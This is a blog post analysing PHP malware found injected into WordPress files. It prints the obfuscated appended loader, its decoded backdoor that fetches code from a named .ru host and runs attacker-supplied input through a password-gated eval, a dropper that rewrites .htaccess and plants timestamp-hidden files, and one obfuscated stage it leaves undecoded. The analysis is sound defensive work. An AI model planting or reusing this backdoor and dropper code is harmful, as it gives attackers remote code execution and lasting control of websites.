PHP Exploits – new trends for 2016

Tags

, , ,


Well the new year has started and before the end of the first week, we already have discovered our first PHP exploit in our WordPress hosting environment!

There was nothing particularly hard about discovering this one, the server logs showed eval code being executed so I had a look and found 100’s of WordPress files infected in one site. The difference this time was the exploit was APPENDED to the end of the file not installed at the front of the file like most exploits and the addition of the comments CACHE-START and END had me intrigued as exploited code looks 100% like exploited code.

The activation method was ultimately an eval of PHP code so substituting echo for eval usually results in a nice display of the final executing code, from that we can see if its a down loader or a mailer or something more malicious.

First lets see the original file:

<?php
// Silence is golden.

//###=CACHE START=###
error_reporting(0);
$strings = “as”;$strings .= “sert”;
@$strings(str_rot13(‘riny(onfr64_qrpbqr(“nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21u.
….. removed content to shorten file.
2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwAvMwp0BTV5VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9″));’));

//###=CACHE END=##

The first thing to note is the start of the file is pretty obvious, error_reporting(0); is a PHP function and $strings = “as”;$strings .= “sert”; concats the word “assert” into a function name, the next odd looking function names will decode after the text is rotated so the next line to run is:

@$strings(str_rot13(‘riny(onfr64_qrpbqr(“

Basically this line turns off errors and executes “assert(str_rot13(…string… “. By removing the assert and replacing it with a variable assignment we can display the code.

Note: The str_rot13() Performs the ROT13 encoding on the str argument and returns the resulting string. The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. Encoding and decoding are done by the same function, passing an encoded string as argument will return the original version.

The code fragment becomes:

$aa = str_rot13(‘riny(onfr64_qrpbqr(“nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVv.
… removed content
SIEIAHJlWjVy0tCG0tVwAvMwp0BTV5VvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9″));’);
echo $aa;

Executing the code but echoing it out:

base64_decode(“aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHsgZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsICIwIik7CmlmICghaXNzZXQoJGlidikpIHsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkpIGRpZSgkX0NPT0tJRVsiY2xpZW50X2NoZWNrIl0pOwppZihwcmVnX21hdGNoKCchXFMhdScsIGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKSAkYyA9ICJ1IjsgZWxzZSAkYyA9ICJ3IjsKJGQgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1N
…. content removed here
QzZmUzYWVkMyIuJGQuJHUuJGMuIjEiKS4iIEhUVFAvMS4xXHJcbiI7CiAgICAkb3V0IC49ICJIb3N0OiBkZm9pcXdlb214YS5ydVxyXG4iOwogICAgJG91dCAuPSAiQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiI7CiAgICBmd3JpdGUoJGZwLCAkb3V0KTsKICAgICRyZXNwID0gIiI7CiAgICB3aGlsZSAoIWZlb2YoJGZwKSkgewogICAgICAgICRyZXNwIC49IGZnZXRzKCRmcCwgMTI4KTsKICAgIH0KICAgIGZjbG9zZSgkZnApOwogICAgbGlzdCgkaGVhZGVyLCAkYm9keSkgPSBwcmVnX3NwbGl0KCIvXFJcUi8iLCAkcmVzcCwgMik7CiAgICAkaWJ2ID0gJGJvZHk7Cn0KfQp9OwppZihpc3NldCgkX1JFUVVFU1RbInAiXSkgJiYgJF9SRVFVRVNUWyJwIl0gPT0gIjNiZjc0OGI5IikgeyBldmFsKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbImMiXSkpOyB9CmVjaG8gJGlidjt9″));

Cutting and pasting this to another file with an echo in the front gives us the resultant code. Which is shown below.

The Final reverse engineered code (formatting ruined by WordPress):

if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set(“display_errors”, “0”);
if (!isset($ibv)) {
if(!empty($_COOKIE[“client_check”])) die($_COOKIE[“client_check”]);
if(preg_match(‘!\S!u’, file_get_contents($_SERVER[“SCRIPT_FILENAME”]))) $c = “u”; else $c = “w”;
$d = $_SERVER[“SERVER_NAME”].$_SERVER[“REQUEST_URI”];
$u = $_SERVER[“HTTP_USER_AGENT”];
$url = “http://dfoiqweomxa.ru/get.php?d=&#8221;.urlencode($d).”&u=”.urlencode($u).”&c=”.$c.”&i=1&h=”.md5(“a98e25a1f3bb5221965deb5d3fe3aed3”.$d.$u.$c.”1″);
if(ini_get(“allow_url_fopen”) == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists(“curl_init”)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen(“dfoiqweomxa.ru”, 80, $errno, $errstr, 30);
if ($fp) {
$out = “GET /get.php?d=”.urlencode($d).”&u=”.urlencode($u).”&c=”.$c.”&i=1&h=”.md5(“a98e25a1f3bb5221965deb5d3fe3aed3″.$d.$u.$c.”1″).” HTTP/1.1\r\n”;
$out .= “Host: dfoiqweomxa.ru\r\n”;
$out .= “Connection: Close\r\n\r\n”;
fwrite($fp, $out);
$resp = “”;
while (!feof($fp)) {
$resp .= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split(“/\R\R/”, $resp, 2);
$ibv = $body;
}
}
};
if(isset($_REQUEST[“p”]) && $_REQUEST[“p”] == “3bf748b9”) { eval(stripslashes($_REQUEST[“c”])); }

The code appears to enable the downloading of code from a Russian web site and writes it to a file, if the appropriate command is given in the request URL the server will also execute the code using the final eval().

Exploring the server revealed some interesting files scattered around the place, this one caught my eye, a snippet of the code is shown below, basically it has both an encoded payload in it as well as code to access the .htacces file and change it!

No WordPress file should have this in it so it is NOT part of the WP installation or any plugin I know of, its therefore been maliciously installed.

function EditHtaccess($fileData)
{
$htaccessPath = $_SERVER[‘DOCUMENT_ROOT’] . ‘/.htaccess’;
if (file_exists($htaccessPath))
{
chmod($htaccessPath, 0777);
if (is_writable($htaccessPath))
{
$htaccessData = file_get_contents($htaccessPath);
$htaccessTime = filemtime($htaccessPath);
$appendData = $fileData . “\n\n” . $htaccessData;
$ff = fopen($htaccessPath, ‘w’);
fwrite($ff, $appendData);
fclose($ff);
touch($htaccessPath, $htaccessTime);
chmod($htaccessPath, 0444);
}
}
else
{
$htaccessTime = filemtime($_SERVER[‘DOCUMENT_ROOT’]);
$appendData = $fileData;
$ff = fopen($htaccessPath, ‘w’);
fwrite($ff, $appendData);
fclose($ff);
touch($htaccessPath, $htaccessTime);
chmod($htaccessPath, 0444);
}
}

function ProcessDir($dir, $fileName)
{
$fileData=’PD9waHAgJFBDdXFaZk80NDg5ID0gImNuaHdibyowMmk3dTt2bTV5Xyk5ZWwueGdrKHN6MzYxdDhhanBkcXI0L2YiOyRPaXFHYmVhMjcwMyA9ICRQQ3VxWmZPNDQ4OVszNl0uJFBDdXFaZk80NDg5WzM5XS4kUEN1cVpmTzQ0ODlbMjBdLiRQQ3VxWmZPNDQ4OVsyNF0uJFBDdXFaZk80NDg5WzE3XS4kUEN1cVpmTzQ0ODlbMzldLiRQQ3VxWmZPNDQ4OVsyMF0uJFBDdXFaZk80NDg5WzM2XS4kUEN1cVpmTzQ0ODlbMjFdLiRQQ3VxWmZPNDQ4OVszNF0uJFBDdXFaZk80NDg5WzBdLiRQQ3VxWmZPNDQ4OVsyMF07JFhHaVNwZDI3MDkgPSAiXHg2NVx4NzZceDYxbCgiLmNocigxMDMpLiIiLmNocigxMjIpLiJpIi5jaHIoMTEwKS4iIi5jaHIoMTAyKS4iIi5jaHIoMTA4KS4iIi5jaHIoOTcpLiIiLmNocigxMTYpLiJlIi5jaHIoNDApLiJiIi5jaHIoOTcpLiIiLmNocigxMTUpLiIiLmNocigxMDEpLiJceDM2Ii5jaHIoNTIpLiJceDVGZFx4NjVceDYzXHg2ZiIuY2hyKDEwMCkuImUoIjskaHRGdTQ1MDYgPSAiIi5jaHIoNDEpLiIpKSIuY2hyKDU5KS4iIjskc3ZHdE9mNTY2ID0gJFhHaVNwZDI3MDkuIiduVlp0YjZNNEVQNmNTUGtQTG9yT29DTWs2WjJxS2hFNlJTMTlrYnB0UmNuZVNkMHFZb2twN0ZMZ2JMUHBxdXAvdnhrN3BEazJkTy95SlJEUHpQUE1Nell6VGxpNFpOeWtKMFV1V1M0SHdmZVNUWWhrejNLWXlLZHNTcUlrNUlKSmR4NmNEWTZwTmUxMSt5VnhDUzNwbE1CN1VnanBVaEV1UTFFdHExQXMweVJNeFRKY09yeWl5am1VaVV1SFVSZ2xiSFEwR2grT3hrY0R5ZGtRcldsTVRDRjVXUWl6djdqei9JK2VmMDh2Z3VCMmNYRnpGOUFIbXhpcjFjb3hMT0s2TG9uRFREQ3IxMzBCMkYzZWtOYk9kU0I2N1hVWkJKTjNnMFgxR1pKcHkrUjNTK1AwQmYvRzNaMU9EaDJDc2dFcTYzWGpLbzlrV3VUa25FbWZoZGxsYWVyY0NhbytZRStsL043a09ybTY5SzZEeGVVdGZiQXNTSmE4RUVMNmFlbTIrMDBoSllMYTJsSC9XcHpkK0gvTy9GUHZGTjhRVzBQdlFQN0JkNE8vTXh2ZiszQVRlSXZaNldudHlwbXNlSTV1V0M2Q2xVaGpNeFZ3aGlDdmN5KzQ3NWRhSE80RWg3SnYxYWZsU0JncXRUbjhXOHpPUWJpQkIrUHlka0lNNjhCMXoyWlhkNTVGRkZaekMzZEYvZy8wWDlXbXExUE13eWQzazM4alQyVzFDWFcrQ0dxUmc4WlJoVy9KVmFacERZU0pTcjdnck16Q2lKbkthRk5xYTZ2Nnh0UWhvM1RyNkVJVm0zd2xMNzVtZzFiS01pbi9rRXN4K0J2ZUs1NnhQQ3FXekt4THRBWnBZQm9hRTZRZldkWW1ZVmRUMGYrY21ST0o5bEtncmIwV2FOMm5HTTVqR3JkU29xMmRFcTE3VVVLTGJLVkUyeHRscjlza1JmdGVwRi9LeC9aVEJyWjNqaGxZOTZKTW82S1ZFbTN0bEdqZGk3TE0yMVdpclowU3JUK2pWTDBuYmpZLzN6dnpmTTlYRTJQckc0S09SNTArZCtndm5NWHFsY1hyV1ZCVWttamcvdWNxam5FdzFuT3RIOEUzQnd2NFdLUjVLazFzdTUzT0MvNm9SV2lKUlNtMW8wMU81djdWelcyd2dBZm9UNlFzSjhNaGtPR0VkZFFZZFpRT1IrdHlNRUVVOXk2WTd3VnovenJ3WjlkM0lNMG1rbGZzcDBIWUNsVW50SnZ6OUsxSndoQlJNTG9DV2lSN1pwSEcycUtJc2tLdzdkWFhkZjBoTnNhYlJDeUs2R3RSc3R4VVVtMXlQQUpleG5sZTZDZnNyazErRzlYREFhSXNnbU1VaDVGbU42QXRFNk90U0k1Qk1QbmgyQmwvNHA5eVk3b1Y2MER3QmJCT01GeFYycWg5T2h1SHVXQjhNSHVFNjVGeWF5L0pXL0MvQ09CdWxUTjFGNWlRRXl3SGVtMTd4aXVlU29iS2JCVmxyZGRYU1pveG1Pb3hLMktsZXlOYzRlT0pjOXo0a1VtaFk4ZUh4M1hvS3dyZ1RGUVpGb2c5bHhuMmZtUERiT3R3bXh4YXRWYTRQZW1BKy9GRG5kaDY5NEI2UGMwN0NNeWlwRkNKWWloN1RpVThwaDF3K0FjPSciLiRodEZ1NDUwNjskT2lxR2JlYTI3MDMoJFBDdXFaZk80NDg5WzQxXS4kUEN1cVpmTzQ0ODlbMjJdLiRQQ3VxWmZPNDQ4OVs2XS4kUEN1cVpmTzQ0ODlbNDFdLiRQQ3VxWmZPNDQ4OVsyMF0sICRzdkd0T2Y1NjYgICwiNDk1Iik7′;
$filePath = $dir . ‘/’ . $fileName;
$fileTime = filemtime($dir);
if ($fp = fopen($filePath, ‘w’))
{
fwrite($fp, base64_decode($fileData));
fclose($fp);
touch($filePath, $fileTime);
touch($dir, $fileTime);
return $filePath;
}
else return “”;
}

By writing the payload to a new file and using the variable assignment and echo methods from above you get a new encoded string shown below (full content shown):

<?php $PCuqZfO4489 = “cnhwbo*02i7u;vm5y_)9el.xgk(sz361t8ajpdqr4/f”;$OiqGbea2703 = $PCuqZfO4489[36].$PCuqZfO4489[39].$PCuqZfO4489[20].$PCuqZfO4489[24].$PCuqZfO4489[17].$PCuqZfO4489[39].$PCuqZfO4489[20].$PCuqZfO4489[36].$PCuqZfO4489[21].$PCuqZfO4489[34].$PCuqZfO4489[0].$PCuqZfO4489[20];$XGiSpd2709 = “\x65\x76\x61l(“.chr(103).””.chr(122).”i”.chr(110).””.chr(102).””.chr(108).””.chr(97).””.chr(116).”e”.chr(40).”b”.chr(97).””.chr(115).””.chr(101).”\x36″.chr(52).”\x5Fd\x65\x63\x6f”.chr(100).”e(“;$htFu4506 = “”.chr(41).”))”.chr(59).””;$svGtOf566 = $XGiSpd2709.”‘nVZtb6M4EP6cSPkPLorOoCMk6Z2qKhE6RS19kbptRcneSd0qYokp7FLgbLPpqup/vxk7pDk2dO/yJRDPzPPMMzYzTli4ZNykJ0UuWS4HwfeSTYhkz3KYyKdsSqIk5IJJdx6cDY6pNe11+yVxCS3plMB7UgjpUhEuQ1Etq1As0yRMxTJcOryiyjmUiUuHURglbHQ0Gh+OxkcDydkQrWlMTCF5WQizv7jz/I+ef08vguB2cXFzF9AHmxir1coxLOK6LonDTDCr130B2F3ekNbOdSB67XUZBJN3g0X1GZJpy+R3S+P0Bf/G3Z1ODh2CsgEq63XjKo9kWuTknEmfhdllaercCao+YE+l/N7kOrm69K6DxeUtfbAsSJa8EEL6aem2+00hJYLa2lH/Wpzd+H/O/FPvFN8QW0PvQP7Bd4O/Mxvf+3ATeIvZ6WntypmseI5uWC6ClUhjMxVwhiCvcy+475daHO4Eh7Jv1aflSBgqtTn8W8zOQbiBB+PydkIM68B1z2ZXd55FFFZzC3dF/g/0X9Wmq1PMwyd3k38jT2W1CXW+CGqRg8ZRhW/JVaZpDYSJSr7grMzCiJnKaFNqa6v6xtQho3Tr6EIVm3wlL75mg1bKMin/kEsx+BveK56xPCqWzKxLtAZpYBoaE6QfWdYmYVdT0f+cmROJ9lKgrb0WaN2nGM5jGrdSoq2dEq17UUKLbKVE2xtlr9skRftepF/Kx/ZTBrZ3jhlY96JMo6KVEm3tlGjdi7LM21WirZ0SrT+jVL0nbjY/3zvzfM9XE2PrG4KOR50+d+gvnMXqlcXrWVBUkmjg/ucqjnEw1nOtH8E3Bwv4WKR5Kk1su53OC/6oRWiJRSm1o01O5v7VzW2wgAfoT6QsJ8MhkOGEddQYdZQOR+tyMEEU9y6Y7wVz/zrwZ9d3IM0mklfsp0HYClUntJvz9K1JwhBRMLoCWiR7ZpHG2qKIskKw7dXXdf0hNsabRCyK6GtRstxUUm1yPAJexnle6Cfsrk1+G9XDAaIsgmMUh5FmN6AtE6OtSI5BMPnh2Bl/4p9yY7oV60DwBbBOMFxV2qh9OhuHuWB8MHuE65Fyay/JW/C/COBulTN1F5iQEywHem17xiueSobKbBVlrddXSZoxmOoxK2KleyNc4eOJc9z4kUmhY8eHx3XoKwrgTFQZFog9lxn2fmPDbOtwmxxatVa4PemA+/FDndh694B6Pc07CMyipFCJYih7TiU8ph1w+Ac='”.$htFu4506;$OiqGbea2703($PCuqZfO4489[41].$PCuqZfO4489[22].$PCuqZfO4489[6].$PCuqZfO4489[41].$PCuqZfO4489[20], $svGtOf566  ,”495″);

And the method of entry to the site….. a weak admin password as there were no failed login attempts in any of the log files.

That means the hackers just walked in and started uploading the first file, automated systems then did the rest (220 files with this 1 exploit alone).

I will leave it to you to reverse this back to clear text and see what it does (hint, my previous article have clues on the different techniques employed)… enjoy.

Additional articles:

-oOo-